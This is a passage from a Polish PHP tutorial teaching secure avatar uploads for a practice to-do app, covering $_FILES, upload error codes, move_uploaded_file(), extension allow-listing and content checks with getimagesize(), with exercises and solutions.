<li>czytać tablicę <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>: nazwę, rozmiar, kod błędu i miejsce, w którym PHP tymczasowo trzyma plik,</li>



<li>rozpoznawać kody błędów przesyłania (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_...</code>),</li>



<li>sprawdzać plik przed zapisem: kod błędu, rozmiar, rozszerzenie z listy dozwolonych i zawartość (<code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code>),</li>



<li>zapisywać plik na serwerze pod <strong>własną</strong> nazwą (<code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code>), a w bazie przechowywać tylko tę nazwę.</li>
</ul>



<p class="wp-block-paragraph">Efekt: nowa strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> z formularzem avatara. Po wysłaniu poprawnego obrazka gracz wraca na listę zadań i widzi swój avatar obok powitania. Plik zły, za duży albo niebędący obrazkiem jest odrzucany z czytelnym komunikatem.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li>Stary plik avatara <strong>zostaje na dysku</strong> po zmianie na nowy. To świadome uproszczenie; sprzątanie jest zadaniem końcowym A.</li>



<li>Nie ma przycisku „Usuń avatar” (zadanie końcowe B) ani avatarów w rankingu (zadanie końcowe C).</li>



<li>Katalog z avatarami dostanie dodatkowe zabezpieczenie po stronie serwera w lekcji o bezpieczeństwie (22). Dziś chronimy go walidacją w PHP.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 19</h1>



<ol class="wp-block-list">
<li>Dlaczego „Zrobione!” jest przyciskiem w formularzu POST, a nie linkiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznacz-wykonane.php?id=5</code>?</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE zadania SET data_wykonania = CURDATE() WHERE id = ? AND uzytkownik_id = ?</code> zwrócił <code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code> równe 0. Podaj dwie różne przyczyny.</li>



<li>Dlaczego XP gracza zwiększamy zapytaniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp = xp + ?</code>, a nie zapisujemy liczby policzonej w PHP?</li>



<li>Po udanym dodaniu zadania <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> wywołuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: index.php')</code>. Co by się stało, gdyby tego przekierowania nie było, a gracz odświeżył stronę?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<h3 class="wp-block-heading">Co zostaje, co dochodzi, co zmieniamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Element</th><th>Po Lekcji 19</th><th>Po Lekcji 21</th></tr></thead><tbody><tr><td>tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>)</td><td>bez avatara</td><td><strong>dochodzi</strong> kolumna <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> (nazwa pliku albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>)</td></tr><tr><td>klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code></td><td>id, login, imię, XP, streak, data aktywności</td><td><strong>dochodzi</strong> właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> i metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAvatar()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajUzytkownika()</code></td><td>czyta 6 kolumn</td><td><strong>zmiana:</strong> czyta też <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code></td><td>10 funkcji</td><td><strong>dochodzi</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszAvatarUzytkownika()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_avatara.php</code></td><td>nie ma</td><td><strong>nowy plik:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">rozszerzenieAvatara()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujAvatar()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code></td><td>stałe XP, widoku, bazy</td><td><strong>dochodzą</strong> 3 stałe avatara</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code></td><td>nie ma</td><td><strong>nowy plik:</strong> formularz avatara</td></tr><tr><td>katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">uploads/avatary/</code></td><td>nie ma</td><td><strong>nowy katalog</strong> na pliki avatarów</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>powitanie bez obrazka</td><td><strong>zmiana:</strong> avatar albo pierwsza litera imienia, link do profilu</td></tr><tr><td>logowanie, zadania, „Zrobione!”, usuwanie, ranking</td><td>działają</td><td><strong>zostają bez zmian</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Schemat strony z formularzem znasz z <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> (Lekcja 13): logika na górze, tablica <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code>, walidacja w funkcji, zapis w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, komunikat jednorazowy, przekierowanie. <code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php</code> zbudujemy dokładnie tak samo. Nowe jest tylko to, <strong>skąd</strong> przychodzą dane i <strong>co</strong> trzeba z nimi zrobić.</p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/
├── index.php                        (zmiana: avatar przy powitaniu, link do profilu)
├── profil.php                       NOWY
├── dodaj-zadanie.php                bez zmian
├── oznacz-wykonane.php              bez zmian
├── usun-zadanie.php                 bez zmian
├── zaloguj.php                      bez zmian
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: 21 ścieżek, sekcja „Avatary”)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               (zmiana: avatar)
├── config/
│   └── config.php                   (zmiana: stałe avatara)
├── includes/
│   ├── header.php                   (zmiana: style .avatar)
│   ├── footer.php                   (zmiana: „TaskQuest 2.1”)
│   ├── funkcje_avatara.php          NOWY
│   ├── funkcje_bazy.php             (zmiana: wczytajUzytkownika(), zapiszAvatarUzytkownika())
│   └── ... pozostałe                bez zmian
├── sql/
│   └── taskquest.sql                (zmiana: kolumna avatar)
└── uploads/                         NOWY
    └── avatary/                     NOWY (pusty — pliki wysyłają gracze)</code></pre>



<h3 class="wp-block-heading">Przygotowanie (zrób to teraz)</h3>



<ol class="wp-block-list">
<li>Zrób kopię zapasową katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja19/</code> (obok, nie w środku).</li>



<li>Uruchom w XAMPP <strong>Apache</strong> i <strong>MySQL</strong>.</li>



<li>Przygotuj w jednym miejscu (np. na pulpicie, w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">pliki_testowe</code>) pięć plików. Będą potrzebne w brudnopisie i w testach:</li>
</ol>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Plik</th><th>Jak go zdobyć</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code> (albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">.jpg</code>)</td><td>dowolny mały obrazek, poniżej 1 MB, np. zrzut fragmentu ekranu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">duzy.jpg</code></td><td>zdjęcie z telefonu albo tapeta, <strong>powyżej</strong> 1 MB (sprawdź we właściwościach pliku)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">notatka.png</code></td><td>utwórz plik tekstowy, wpisz w nim kilka słów, zapisz i zmień rozszerzenie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">.txt</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">.png</code> (w Eksploratorze Windows włącz wcześniej „Rozszerzenia nazw plików”)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pusty.png</code></td><td>utwórz pusty plik tekstowy (nic nie wpisuj) i zmień rozszerzenie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">.png</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">dokument.pdf</code></td><td>dowolny plik PDF</td></tr></tbody></table></figure>



<h1 class="wp-block-heading">2. Problem w aplikacji</h1>



<p class="wp-block-paragraph">Kama chce, żeby koledzy w rankingu i na liście od razu ją rozpoznawali. Chce wstawić swój obrazek, zapisany na dysku jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">C:\Users\Kama\Pictures\kot.png</code>.</p>



<p class="wp-block-paragraph">Formularze, które mamy, przesyłają tylko tekst: login, tytuł, termin, numer zadania. Gdyby wysłać sam napis <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code>, serwer dostałby nazwę pliku, ale nie jego zawartość. Obrazek zostałby na komputerze Kamy.</p>



<p class="wp-block-paragraph">Aplikacja musi więc:</p>



<ol class="wp-block-list">
<li><strong>odebrać plik</strong> z komputera gracza,</li>



<li><strong>sprawdzić go</strong>. Plik mógł się nie dojść. Może być za duży albo może nie być obrazkiem. Może też być skryptem PHP z nazwą udającą obrazek,</li>



<li><strong>zapisać go na serwerze</strong> w katalogu aplikacji,</li>



<li><strong>zapamiętać w bazie</strong>, który plik należy do którego gracza,</li>



<li><strong>pokazać go</strong> na stronie.</li>
</ol>



<p class="wp-block-paragraph">Punkt 2 jest najważniejszy. Do tej pory gracz wysyłał tekst, który co najwyżej trafiał do bazy. Teraz wysyła <strong>plik, który zostanie zapisany na naszym serwerze</strong>. Jeśli przepuścimy plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.php</code>, a ktoś otworzy go w przeglądarce, serwer go wykona.</p>



<h1 class="wp-block-heading">3. Nowy mechanizm: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code></h1>



<h2 class="wp-block-heading">3.1 Formularz z plikiem</h2>



<p class="wp-block-paragraph">Pole wyboru pliku to <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input type="file"&gt;</code>. Samo pole nie wystarczy. Formularz musi też mieć dwa atrybuty:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form method="post" action="brudnopis.php" enctype="multipart/form-data"&gt;
    &lt;input type="file" name="avatar"&gt;
    &lt;button type="submit"&gt;Wyślij&lt;/button&gt;
&lt;/form&gt;</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">method="post"</code> — pliku nie da się wysłać w adresie strony (GET),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype="multipart/form-data"</code> — mówi przeglądarce, żeby wysłała dane <strong>w częściach</strong>: osobno każde pole tekstowe i osobno surową zawartość pliku. Bez tego atrybutu przeglądarka wyśle tylko <strong>nazwę</strong> wybranego pliku, jako zwykły tekst (sprawdzisz to w Eksperymencie 1).</li>
</ul>



<p class="wp-block-paragraph">Atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">accept=".jpg,.jpeg,.png,.webp"</code> sprawia, że okno wyboru pliku pokaże tylko pliki o tych rozszerzeniach. Tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code> czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength</code> z Lekcji 13, to <strong>wygoda, nie ochrona</strong>. Użytkownik zmieni filtr w oknie na „Wszystkie pliki” albo wyśle żądanie bez formularza.</p>



<h2 class="wp-block-heading">3.2 Co PHP robi z przesłanym plikiem</h2>



<p class="wp-block-paragraph">Kiedy żądanie z plikiem dociera na serwer, PHP <strong>zanim uruchomi Twój skrypt</strong>:</p>



<ol class="wp-block-list">
<li>zapisuje zawartość pliku w <strong>katalogu tymczasowym</strong> (w XAMPP np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">C:\xampp\tmp\</code>) pod losową nazwą, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">php3A1F.tmp</code>,</li>



<li>wpisuje informacje o pliku do tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>, pod nazwą pola z formularza (<code class="prettyprint lang-sql" style="font-size: 0.85em;">name="avatar"</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']</code>).</li>
</ol>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']</code> to tablica asocjacyjna z pięcioma kluczami:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES&#91;'avatar'] = &#91;
    'name'     =&gt; 'kot.png',                    // nazwa pliku na komputerze użytkownika
    'type'     =&gt; 'image/png',                  // typ pliku podany przez przeglądarkę
    'tmp_name' =&gt; 'C:\xampp\tmp\php3A1F.tmp',   // gdzie PHP zapisał plik tymczasowo
    'error'    =&gt; 0,                            // kod błędu przesyłania (0 = bez błędu)
    'size'     =&gt; 48213,                        // rozmiar w bajtach
];</code></pre>



<p class="wp-block-paragraph">(Od PHP 8.1 jest jeszcze szósty klucz, <code class="prettyprint lang-sql" style="font-size: 0.85em;">full_path</code>. Nie będzie nam potrzebny.)</p>



<p class="wp-block-paragraph"><strong>Najważniejsza zasada:</strong> plik tymczasowy istnieje <strong>tylko do końca skryptu</strong>. Po ostatniej linii PHP go usuwa. Jeśli skrypt nie przeniesie pliku w stałe miejsce, plik przepada.</p>



<h2 class="wp-block-heading">3.3 Kody błędów</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']['error']</code> mówi, czy przesyłanie się udało. Zamiast liczb używamy stałych PHP:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Stała</th><th>Wartość</th><th>Co się stało</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code></td><td>0</td><td>plik doszedł cały</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_INI_SIZE</code></td><td>1</td><td>plik jest większy niż limit serwera (<code class="prettyprint lang-sql" style="font-size: 0.85em;">upload_max_filesize</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_FORM_SIZE</code></td><td>2</td><td>plik jest większy niż limit zapisany w formularzu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">MAX_FILE_SIZE</code>, nie używamy go)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_PARTIAL</code></td><td>3</td><td>przesyłanie się urwało, doszła tylko część pliku</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_NO_FILE</code></td><td>4</td><td>użytkownik nie wybrał pliku</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_NO_TMP_DIR</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_CANT_WRITE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_EXTENSION</code></td><td>6, 7, 8</td><td>problem po stronie serwera</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Kiedy <code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code> jest inny niż <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_OK</code>, pozostałe klucze nie mają znaczenia: <code class="prettyprint lang-sql" style="font-size: 0.85em;">tmp_name</code> jest pusty, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code> wynosi 0.</p>



<h2 class="wp-block-heading">3.4 Zapis pliku: <code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file($_FILES&#91;'avatar']&#91;'tmp_name'], 'uploads/moj_plik.png');</code></pre>



<p class="wp-block-paragraph">Funkcja przenosi plik z katalogu tymczasowego w podane miejsce. Zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, na przykład gdy katalog docelowy nie istnieje.</p>



<p class="wp-block-paragraph">Dlaczego nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">rename()</code> czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">copy()</code>, które znasz z pracy z plikami? <code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code> najpierw sprawdza, czy podana ścieżka to <strong>naprawdę plik przesłany w tym żądaniu</strong>. Dzięki temu nie da się jej podsunąć np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> i skopiować go do katalogu dostępnego z przeglądarki.</p>



<h2 class="wp-block-heading">3.5 Któremu kluczowi wierzyć?</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Klucz</th><th>Kto go ustala</th><th>Wierzymy?</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code></td><td>przeglądarka użytkownika</td><td><strong>nie</strong> — może to być dowolny tekst: <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, nazwa z polskimi znakami, nazwa taka sama jak u innego gracza</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">type</code></td><td>przeglądarka użytkownika</td><td><strong>nie</strong> — przeglądarka zgaduje typ z rozszerzenia; atakujący wpisze tu, co chce</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code></td><td>PHP (policzył bajty)</td><td>tak</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code></td><td>PHP</td><td>tak</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">tmp_name</code></td><td>PHP</td><td>tak</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Wniosek dla TaskQuest:</p>



<ul class="wp-block-list">
<li>z nazwy pliku bierzemy <strong>tylko rozszerzenie</strong>, żeby sprawdzić je z listą dozwolonych. Plik zapisujemy pod <strong>własną</strong> nazwą,</li>



<li>klucza <code class="prettyprint lang-sql" style="font-size: 0.85em;">type</code> nie używamy wcale. Czy plik to obrazek, sprawdzamy sami, zaglądając do jego zawartości funkcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code>.</li>
</ul>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize($sciezka)</code> otwiera plik i próbuje odczytać nagłówek obrazka. Dla obrazka zwraca tablicę (szerokość, wysokość, typ). Dla pliku, który obrazkiem nie jest, zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump(getimagesize('kot.png'));      // array(...) — &#91;0] =&gt; szerokość, &#91;1] =&gt; wysokość
var_dump(getimagesize('notatka.png'));  // bool(false) — to tekst, choć ma końcówkę .png</code></pre>



<p class="wp-block-paragraph">Pusty plik (0 bajtów) to przypadek szczególny. <code class="prettyprint lang-sql" style="font-size: 0.85em;">getimagesize()</code> zwraca wtedy <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, ale dodatkowo wypisuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">Notice: ... Error reading from ...</code>. Dlatego pusty plik odrzucimy wcześniej, zanim zajrzymy do zawartości.</p>



<h2 class="wp-block-heading">3.6 Limity serwera</h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code> są dwa ustawienia, które decydują, co w ogóle dotrze do skryptu:</p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">upload_max_filesize</code> — największy pojedynczy plik. Większy → <code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_INI_SIZE</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">post_max_size</code> — największe <strong>całe</strong> żądanie POST (plik + pozostałe pola). Większe → PHP <strong>odrzuca całe żądanie</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code> są puste, choć formularz został wysłany metodą POST.</li>
</ul>



<p class="wp-block-paragraph">Drugi przypadek jest podchwytliwy. <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']</code> wtedy <strong>nie istnieje</strong>, więc skrypt, który od razu czyta <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']['error']</code>, dostanie ostrzeżenie o braku klucza. Odczyt przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?? null</code> rozwiązuje problem, tak samo jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">?? ''</code> przy polach tekstowych.</p>



<p class="wp-block-paragraph">W TaskQuest ustawimy własny limit <strong>1 MB</strong>, niższy niż limity serwera. Dzięki temu zwykle to nasza walidacja zgłosi „za duży plik” z czytelnym komunikatem, zanim zadziała limit serwera.</p>



<h3 class="wp-block-heading">Typowe błędy</h3>



<ul class="wp-block-list">
<li>brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">enctype="multipart/form-data"</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code> jest puste, a w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['avatar']</code> jest sama nazwa pliku,</li>



<li>zapis pod nazwą z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']['name']</code> — dwaj gracze z plikiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar.png</code> nadpisują sobie obrazki (Eksperyment 3), a nazwa <code class="prettyprint lang-sql" style="font-size: 0.85em;">atak.php</code> zamienia avatar w skrypt,</li>



<li>sprawdzanie typu przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']['type']</code> — ten klucz podaje przeglądarka,</li>



<li>brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code> — skrypt „zapisał” avatar w bazie, ale sam plik zniknął razem z plikiem tymczasowym,</li>



<li>odczyt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']['error']</code> bez sprawdzenia, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES['avatar']</code> istnieje.</li>
</ul>



<h1 class="wp-block-heading">4. SAMODZIELNIE — pierwszy przesłany plik</h1>



<p class="wp-block-paragraph">Utwórz w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code> plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>. Napisz w nim:</p>



<ol class="wp-block-list">
<li>formularz wysyłający jeden plik z pola o nazwie <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> do tego samego pliku (<code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>),</li>



<li>nad formularzem kod PHP, który <strong>tylko po wysłaniu formularza</strong> wypisze całą zawartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code> w czytelnej postaci.</li>
</ol>



<p class="wp-block-paragraph">Wyślij <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code>. Potem wyślij formularz bez wybierania pliku. Porównaj oba wyniki z tabelą kodów błędów.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> sprawdzasz, że formularz został wysłany? Do czytelnego wypisania tablicy użyj funkcji, którą znasz z pracy z tablicami (wynik wstaw między znaczniki <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;pre&gt;</code>).</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    echo '&lt;pre&gt;';
    // wypisz $_FILES
    echo '&lt;/pre&gt;';
}

?&gt;
&lt;form method="post" action="brudnopis.php" enctype="..."&gt;
    &lt;!-- pole pliku o nazwie avatar i przycisk --&gt;
&lt;/form&gt;</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    echo '&lt;pre&gt;';
    print_r($_FILES);
    echo '&lt;/pre&gt;';
}

?&gt;
&lt;form method="post" action="brudnopis.php" enctype="multipart/form-data"&gt;
    &lt;input type="file" name="avatar"&gt;
    &lt;button type="submit"&gt;Wyślij&lt;/button&gt;
&lt;/form&gt;</code></pre>
</details>



<p class="wp-block-paragraph">Oczekiwane po wysłaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code>: tablica z kluczem <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code>, w nim <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">type</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">image/png</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tmp_name</code> = ścieżka w katalogu tymczasowym XAMPP, <code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code> = rozmiar pliku w bajtach (porównaj z właściwościami pliku w Windows).</p>



<p class="wp-block-paragraph">Oczekiwane bez pliku: <code class="prettyprint lang-sql" style="font-size: 0.85em;">name</code> pusty, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tmp_name</code> pusty, <code class="prettyprint lang-sql" style="font-size: 0.85em;">error</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">4</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPLOAD_ERR_NO_FILE</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">size</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>. Klucz <code class="prettyprint lang-sql" style="font-size: 0.85em;">avatar</code> <strong>istnieje</strong>, bo pole było w formularzu.</p>



<p class="wp-block-paragraph"><strong>Druga część — zapis.</strong> Utwórz obok brudnopisu katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">test_upload/</code>. Pod linią z <code class="prettyprint lang-sql" style="font-size: 0.85em;">print_r()</code> dopisz przeniesienie pliku do <code class="prettyprint lang-sql" style="font-size: 0.85em;">test_upload/</code> pod nazwą <code class="prettyprint lang-sql" style="font-size: 0.85em;">proba.png</code> i wypisz wynik funkcji (<code class="prettyprint lang-sql" style="font-size: 0.85em;">var_dump()</code>). Wyślij <code class="prettyprint lang-sql" style="font-size: 0.85em;">kot.png</code> i zajrzyj do katalogu.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    var_dump(move_uploaded_file($_FILES&#91;'avatar']&#91;'tmp_name'], __DIR__ . '/test_upload/proba.png'));</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(true)</code> i plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">proba.png</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">test_upload/</code>. Otwórz w przeglądarce <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/test_upload/proba.png</code>. Widzisz obrazek, więc wszystko, co trafi do tego katalogu, jest dostępne z przeglądarki. Zapamiętaj to, wrócimy do tego w Eksperymencie 2.</p>



<p class="wp-block-paragraph">Wyślij teraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">notatka.png</code>. Znów <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(true)</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">move_uploaded_file()</code> przenosi <strong>każdy</strong> plik. Sprawdzanie, co to za plik, to nasze zadanie.</p>



